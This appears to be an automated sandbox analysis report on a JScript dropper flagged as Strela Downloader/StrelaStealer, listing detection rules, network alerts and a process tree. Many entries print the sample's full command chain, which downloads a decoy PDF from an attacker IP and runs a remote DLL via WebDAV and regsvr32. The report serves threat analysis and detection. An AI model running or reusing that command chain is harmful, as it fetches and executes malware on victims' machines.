Edit tour

Windows Analysis Report
1882131031120212290.js

Overview

General Information

Sample name:	1882131031120212290.js
Analysis ID:	1587994
MD5:	7928beed95b34ecb13e4aba4f96ee75f
SHA1:	a61b80f9ab90e421174729321615a80dfd39c1a6
SHA256:	20935e4abd67df71df65cede34d42e5c64fd366be5691c22220d6b875c25d57d
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 3908 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1882131031120212290.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 5076 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5512 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2300 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 5864 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 5140 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 1292 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2092 --field-trial-handle=1704,i,9000697262872955212,6509342707065743431,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 6568 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 5320 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 3960 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 3908	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5076, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2300, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5076, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2300, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1882131031120212290.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1882131031120212290.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1882131031120212290.js", ProcessId: 3908, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 5320, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49717

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1882131031120212290.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3908, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, ProcessId: 5076, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1882131031120212290.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3908, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, ProcessId: 5076, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1882131031120212290.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3908, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, ProcessId: 5076, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1882131031120212290.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3908, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, ProcessId: 5076, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1882131031120212290.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3908, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, ProcessId: 5076, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1882131031120212290.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1882131031120212290.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1882131031120212290.js", ProcessId: 3908, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5076, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2300, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6568, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5320, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 3960, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6568, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5320, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1882131031120212290.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3908, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll, ProcessId: 5076, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T20:17:58.895741+0100	1810005	1	Potentially Bad Traffic	192.168.2.6	49717	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T20:17:55.371922+0100	1810000	2	Potentially Bad Traffic	192.168.2.6	49710	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 1882131031120212290.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 1882131031120212290.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.6:49717 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 19:17:55 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49717

Source: global traffic

TCP traffic: 192.168.2.6:49717 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.6:59739 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

